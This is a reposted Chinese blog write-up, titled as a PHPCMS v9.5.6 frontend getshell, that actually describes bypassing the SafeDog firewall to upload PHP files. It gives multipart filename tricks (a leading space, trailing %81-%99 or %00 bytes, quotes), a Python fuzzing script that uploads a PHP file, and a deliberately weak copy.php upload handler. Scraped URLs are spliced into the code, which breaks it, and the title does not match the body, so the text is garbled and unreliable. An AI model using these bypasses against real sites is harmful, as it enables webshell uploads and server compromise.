首页 > 代码库 > PHPCMS v9.5.6 通杀getshell(前台)
PHPCMS v9.5.6 通杀getshell(前台)
漏洞url:http://wooyun.jozxing.cc/static/bugs/wooyun-2014-062881.html
很好的fuzz思路。
文章提到:文件名前面的数字是被"干掉"字符的十进制数字,可以看出%81--%99会被干掉.该特性雷同Windows下对"."和" "(空格)的忽略。
这个特性可以用来绕过安全狗,比如 xxx.php. 比较早期的安全狗就不对这个后缀进行拦截。
这是最新版的绕过安全狗进行上传。思路是和fuzz的思路一样,应该早就有人发出来了,但是没修。所以记录一下。
对于上传的包:Content-Disposition: form-data; name="file"; filename= "x.php";
注意看filename= "x.php"; 等号后面有个空格,这样就能绕过安全狗进行上传了,支持的有 09,20
对于上传的包:Content-Disposition: form-data; name="file"; filename="x.php?";
x.php后面也就是漏洞所说的 %81--%99会被干掉 安全狗对于这个也不防御。 ?支持的有 81-99 ,00
在补充个,如果能上传的网站对于上传的名字没有修改,那么可以加单引号来绕过安全狗。
fuzz的脚本如下。
需要hackhttp的包,pip install hackhttp
#!/usr/local/bin/ python # -*- coding: utf-8 -*- __author__ = ‘yangxiaodi‘ import urllib import hackhttp import random hackhttp=hackhttp.hackhttp() def randstr(num): sts = ‘‘ char = ‘1234567890abcdexyz‘ for i in range(num): sts += random.choice(char) return sts def hex_to_ascii(ch): return ‘{:c}‘.format(int(float.fromhex(ch))) raw_data = http://www.mamicode.com/‘‘‘POST /copy.php HTTP/1.1"file"; filename="q.php"; Content-Type: text/xml <?php phpinfo();?> ------WebKitFormBoundaryJ9o2JkrnEtFaefTV Content-Disposition: form-data; name="submit" upload ------WebKitFormBoundaryJ9o2JkrnEtFaefTV-- ‘‘‘ for u in range(625,872): for i in range(1,255): s = ‘%03d‘ % i shex = hex_to_ascii(s) data=http://www.mamicode.com/raw_data[:u]+shex+raw_data[u:]"http://172.16.220.136/copy.php", raw=data) if ‘upload/q.php<br>‘ in html: print u,i,data,html,‘\n‘
copy.php如下
<?php if(isset($_POST[‘submit‘])){ $savefile = $_FILES[‘file‘][‘name‘]; $tempfile = $_FILES[‘file‘][‘tmp_name‘]; $savefile = preg_replace("/(php4)(\.|$)/i", "_\\1\\2", $savefile);//这里是整个漏洞的核心代码,同样这里进行了简化,我们只关注php $savefile = ‘upload/‘.$savefile; if(upload($tempfile,$savefile,true)){ exit(‘Success upload,path is:‘.$savefile."<br>"); } } function upload($src,$dst,$mode=false){ if($mode){ if(copy($src,$dst)){ return true; } }else{ if(@move_uploaded_file($src,$dst)){ return true; } } return false; } ?>
1.html如下
<html> <body> <form method="post" action="copy.php" enctype="multipart/form-data"> <input type="file" name="file" value="http://www.mamicode.com/1111"/> <input type="submit" name="submit" value="http://www.mamicode.com/upload"/> </form> </body> </html>
PHPCMS v9.5.6 通杀getshell(前台)
声明:以上内容来自用户投稿及互联网公开渠道收集整理发布,本网站不拥有所有权,未作人工编辑处理,也不承担相关法律责任,若内容有误或涉及侵权可进行投诉: 投诉/举报 工作人员会在5个工作日内联系你,一经查实,本站将立刻删除涉嫌侵权内容。